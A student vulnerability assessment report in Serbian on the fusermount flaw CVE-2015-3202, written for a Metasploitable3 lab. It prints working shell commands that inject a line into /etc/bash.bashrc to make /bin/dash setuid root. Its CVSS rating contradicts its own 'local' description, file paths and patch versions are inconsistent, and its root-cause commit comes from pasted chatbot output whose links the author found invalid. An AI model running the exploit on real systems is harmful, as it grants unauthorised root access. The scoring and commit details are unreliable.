

Vulnerability Assessment Report Template

Ime i prezime: Ilija Spasić

Tim: 1

Datum: 25.10.2024

Scan Tool: Nessus (10.8.3 (#10) LINUX)

Test okruženje: Metasploitable3

1. Enumeracija CVE-a

- **CVE ID:** CVE-2015-3202
 - **Opis:** Problem je loše saniranje varijabli okruženja fusermount komponente paketa FUSE verzije starije od 2.9.3-15 pre poziva metoda *mount* ili *unmount* sa *root* privilegijama. Ovaj propust dozvoljava lokalnim korisnicima da izmene nedozvoljene datoteke pomoću zlonamerno formirane *LIBMOUNT_MTAB* varijable okruženja koja se koristi za potrebe debug-ovanja metode *mount*. Izvršavanje sa *root* privilegijama omogućava izmenu čak i zaštićenih datoteka.
-

2. CVSS skor

- **CVSS skor (numerička vrednost): 9.8**
 - **Vektor: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H**
 - Attack Vector: Network** - Servis je moguće eksploatirati preko mreže.
 - Attack Complexity: Low** - Napad je lako ponovljiv.
 - Privileges Required: None** - Napad ne zahteva posebne sistemske dozvole.
 - User Interaction: None** - Napad ne zahteva interakciju od strane korisnika.
 - Scope: Unchanged** - Napad neće dozvoliti eksploataciju van domena servisa. ??
 - Confidentiality Impact: High** - Moguće je narušavanje tajnosti datoteka bez dozvole.
 - Integrity Impact: High** - Moguće je narušavanje integriteta datoteka bez dozvole.
 - Availability Impact: High** - Moguć otežani pristup korisničkim datotekama.
 - **Opravdanje:** Pomenuti napad je lako ponovljiv, dostupan preko mreže, ne zahteva posebne privilegije ni interakciju korisnika što za posledicu ima mogućnost potpune automatizacije napada. Podložne sisteme je moguće sistematski napadati i u zavisnosti od nivoa uspeha oštetiti važne korisničke podatke i datoteke.
-

3. Dostupnost eksploita

- **Postoji javno dostupan exploit (Da/Ne): DA**
[Link](#) do javno dostupnog exploit-a.
- **Opis eksploita:** Formiranje varijable okruženja `LIBMOUNT_MTAB` tako da sadrži putanju na neku od datoteka kojoj inače nemamo (u primeru je to `bash.bashrc`) pristup možemo izmeniti njen sadržaj kao direktnu posledicu lošeg saniranja varijable. U datom primeru, promenom sadržaja `bash` datoteke, dozvoljavamo izvršavanje `/tmp/exploit` skripte kada se korisnik sledeći put uloguje na sistem. Posledica promene `bash.bashrc` je izvršavanje neprovene datoteke/skripte jer se ona podrazumevano pokreće prilikom logovanja korisnika na sistem.
- **Kod eksploita (ukoliko postoji):**

```
$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit
$ mkdir -p '/tmp/exploit|/tmp/exploit'
$ LIBMOUNT_MTAB=/etc/bash.bashrc _FUSE_COMMFD=0 fusermount
'/tmp/exploit|/tmp/exploit'
fusermount: failed to open /etc/fuse.conf: Permission denied
sending file descriptor: Socket operation on non-socket
$ cat /etc/bash.bashrc
/dev/fuse /tmp/exploit|/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0
```

U gore navedenom primeru, izmenom `bashrc` datoteke bez dozvole dodali smo skriptu `/etc/exploit` koja će biti pokrenuta prvi sledeći put kada se korisnik uloguje. Izmena zaštićene datoteke je moguća jer `mount` metoda poseduje root privilegije.

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):** Verzije starije od `fuse-2.9.2-4ubuntu4.14.10.1` nemaju adekvatno saniranje varijable okruženja koju paket koristi. Upotreba varijable okruženja je prisutna u svim starijim verzijama paketa i deo je privatnog repozitorijuma*.
- **Primer Koda (ako je primenljivo):**

```
if (res == 0) {
    sigprocmask(SIG_SETMASK, &oldmask, NULL);
    setuid(geteuid());
    execl("/bin/mount", "/bin/mount", "--no-canonicalize", "-i", "-f", "-t", type, "-o",
        opts, fsname, mnt, NULL);
    fprintf(stderr, "%s: failed to execute /bin/mount: %s\n", progname,
        strerror(errno)); exit(1);
}
```


Označena linija čita varijablu okruženja bez prethodne provere njenog sadržaja ili adekvatnog saniranja iste i zatim izvršava metodu `mount` sa root privilegijama koja nju koristi.

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da
- **Mitigation Strategy:**
Potrebno je ažurirati sledeće pakete na sistemima podložnim napadu:
 - verzija podložna napadu : `fuse_2.9.2-4ubuntu4`
 - popravljena verzija : `fuse_2.9.2-4ubuntu4.14.04.1+`






 - verzija podložna napadu : `libfuse2_2.9.2-4ubuntu4`
 - popravljena verzija : `libfuse2_2.9.2-4ubuntu4.14.04.1+`
- **Alternativni fix (ukoliko ne postoji vendorski):** /

* - najbliža informacija za verziju commita koja uvodi uzrok prema ChatGPT (ako mu se da verovati):


 Searched 5 sites ▾

The code you are referring to in `lib/mount_util.c` for the `libfuse` package appears to have been introduced in commit `60b7b8f7`. This commit was part of the `libfuse` project on GitHub and introduced the usage of `setuid`, `sigprocmask`, and the execution of `/bin/mount` within the `add_mount` function. You can view the specific commit and changes in detail [here](#).

This commit added the code for handling the mounting process with specific signals and user ID adjustments to ensure proper permissions and execution environment. The use of `sigprocmask` to block and restore signal masks and `setuid` to change the effective user ID before executing the mount command were key changes introduced in this commit.



Provided Links are invalid

 Searched 6 sites ▾

It looks like the issues with the invalid links are due to them being part of private or restricted repositories. However, I found some information that might help you get started with integrating